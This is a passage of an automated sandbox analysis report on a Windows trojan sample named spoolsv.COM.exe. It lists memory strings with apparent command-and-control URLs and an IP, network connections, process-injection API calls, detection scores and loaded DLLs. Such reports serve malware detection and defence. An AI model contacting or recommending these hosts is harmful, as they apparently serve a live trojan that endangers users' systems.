00000005.00000003.1807574988.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2396794289.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2503409286.00000000005C6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2291813654.00000000005C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swamfoxinnc.com/rx
Source: spoolsv.COM.exe, 00000005.00000003.2396794289.0000000000593000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2503409286.0000000000593000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000002.2512765082.0000000000593000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2326326708.0000000000593000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2430700731.0000000000593000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2362712355.0000000000593000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swamfoxinnc.com:443/233_Svcrhpjadgy
Source: spoolsv.COM.exe, 00000005.00000003.2396794289.0000000000593000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2503409286.0000000000593000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000002.2512765082.0000000000593000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2430700731.0000000000593000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2362712355.0000000000593000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swamfoxinnc.com:443/233_Svcrhpjadgy7
Source: spoolsv.COM.exe, 00000005.00000003.2396794289.0000000000593000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2503409286.0000000000593000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000002.2512765082.0000000000593000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2291813654.0000000000593000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2326326708.0000000000593000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2430700731.0000000000593000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2362712355.0000000000593000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swamfoxinnc.com:443/233_Svcrhpjadgyj
Source: spoolsv.COM.exe, 00000005.00000003.2081446105.00000000005F4000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1424107287.00000000005F4000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1908555054.00000000216B6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2015374252.0000000021692000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1839665207.00000000216B2000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1735009336.000000002166F000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2323851649.00000000216F3000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1424434949.00000000216AB000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2289596193.000000002169F000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1666608167.0000000021670000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1354494044.000000002167C000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1805561761.00000000005F4000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1424226209.0000000021673000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1464632700.000000002166E000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1632731035.00000000216C7000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1496784556.0000000021675000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1426618232.0000000021661000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2184812774.00000000216B6000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1354494044.00000000216B5000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.2291723825.000000002169A000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM.exe, 00000005.00000003.1320809972.00000000005D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.aapanel.com/new/download.html?invite_code=aapanele

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 50042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49924
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49922
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49982 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49913
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49912
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 50041 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50030 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49904
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49903
Source: unknown	Network traffic detected: HTTP traffic on port 49903 -> 443

Source: unknown	HTTPS traffic detected: 176.123.5.143:443 -> 192.168.2.10:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 176.123.5.143:443 -> 192.168.2.10:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 176.123.5.143:443 -> 192.168.2.10:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 176.123.5.143:443 -> 192.168.2.10:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 176.123.5.143:443 -> 192.168.2.10:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 176.123.5.143:443 -> 192.168.2.10:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 176.123.5.143:443 -> 192.168.2.10:49756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 176.123.5.143:443 -> 192.168.2.10:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 176.123.5.143:443 -> 192.168.2.10:49775 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 176.123.5.143:443 -> 192.168.2.10:49786 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 176.123.5.143:443 -> 192.168.2.10:49794 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 176.123.5.143:443 -> 192.168.2.10:49805 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 176.123.5.143:443 -> 192.168.2.10:49813 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 176.123.5.143:443 -> 192.168.2.10:49825 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 176.123.5.143:443 -> 192.168.2.10:49833 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 176.123.5.143:443 -> 192.168.2.10:49844 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 176.123.5.143:443 -> 192.168.2.10:49855 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 176.123.5.143:443 -> 192.168.2.10:49864 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 176.123.5.143:443 -> 192.168.2.10:49875 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 176.123.5.143:443 -> 192.168.2.10:49883 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 176.123.5.143:443 -> 192.168.2.10:49894 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 176.123.5.143:443 -> 192.168.2.10:49904 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 176.123.5.143:443 -> 192.168.2.10:49913 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 176.123.5.143:443 -> 192.168.2.10:49924 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 176.123.5.143:443 -> 192.168.2.10:49932 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 176.123.5.143:443 -> 192.168.2.10:49944 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 176.123.5.143:443 -> 192.168.2.10:49951 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 176.123.5.143:443 -> 192.168.2.10:49963 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 176.123.5.143:443 -> 192.168.2.10:49973 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 176.123.5.143:443 -> 192.168.2.10:49982 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 176.123.5.143:443 -> 192.168.2.10:49994 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 176.123.5.143:443 -> 192.168.2.10:50001 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 176.123.5.143:443 -> 192.168.2.10:50012 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 176.123.5.143:443 -> 192.168.2.10:50023 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 176.123.5.143:443 -> 192.168.2.10:50031 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 176.123.5.143:443 -> 192.168.2.10:50042 version: TLS 1.2

Source: C:\Users\user\Desktop\spoolsv.COM.exe	Code function: 5_2_02B3DBB0 RtlDosPa,NtOpenFile,NtQueryInformationFile,NtReadFile,NtClose,	5_2_02B3DBB0
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Code function: 5_2_02B37D00 NtWriteVirtualMemory,	5_2_02B37D00
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Code function: 5_2_02B3DACC RtlDosPa,NtCreateFile,NtWriteFile,NtClose,	5_2_02B3DACC
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Code function: 5_2_02B3DA44 RtlInitUnicodeString,RtlDosPa,NtDeleteFile,	5_2_02B3DA44
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Code function: 5_2_02B38BB0 GetThreadContext,SetThreadContext,NtResumeThread,	5_2_02B38BB0
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Code function: 5_2_02B38BAE GetThreadContext,SetThreadContext,NtResumeThread,	5_2_02B38BAE
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Code function: 5_2_02B3D9F0 RtlInitUnicodeString,RtlDosPa,NtDeleteFile,	5_2_02B3D9F0

Source: C:\Users\user\Desktop\spoolsv.COM.exe

Code function: 5_2_02B3EC74 InetIsOffline,CoInitialize,CoUninitialize,Sleep,MoveFileA,MoveFileA,CreateProcessAsUserW,ResumeThread,CloseHandle,CloseHandle,ExitProcess,

5_2_02B3EC74

Source: C:\Users\user\Desktop\spoolsv.COM.exe	Code function: 5_2_02B220C4		5_2_02B220C4
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Code function: 5_2_02B4D596		5_2_02B4D596

Source: C:\Users\user\Desktop\spoolsv.COM.exe	Code function: String function: 02B244D0 appears 32 times
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Code function: String function: 02B387A0 appears 54 times
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Code function: String function: 02B246A4 appears 244 times
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Code function: String function: 02B38824 appears 45 times
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Code function: String function: 02B2480C appears 931 times
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Code function: String function: 02B244AC appears 73 times

Source: spoolsv.COM.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: classification engine

Classification label: mal88.troj.evad.winEXE@1/0@1/1

Source: C:\Users\user\Desktop\spoolsv.COM.exe

Code function: 5_2_02B27F5A GetDiskFreeSpaceA,

5_2_02B27F5A

Source: C:\Users\user\Desktop\spoolsv.COM.exe

Code function: 5_2_02B36D50 CoCreateInstance,

5_2_02B36D50

Source: C:\Users\user\Desktop\spoolsv.COM.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales			Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales			Jump to behavior

Source: C:\Users\user\Desktop\spoolsv.COM.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: spoolsv.COM.exe	Virustotal: Detection: 74%
Source: spoolsv.COM.exe	ReversingLabs: Detection: 63%

Source: C:\Users\user\Desktop\spoolsv.COM.exe

File read: C:\Users\user\Desktop\spoolsv.COM.exe

Jump to behavior

Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: url.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
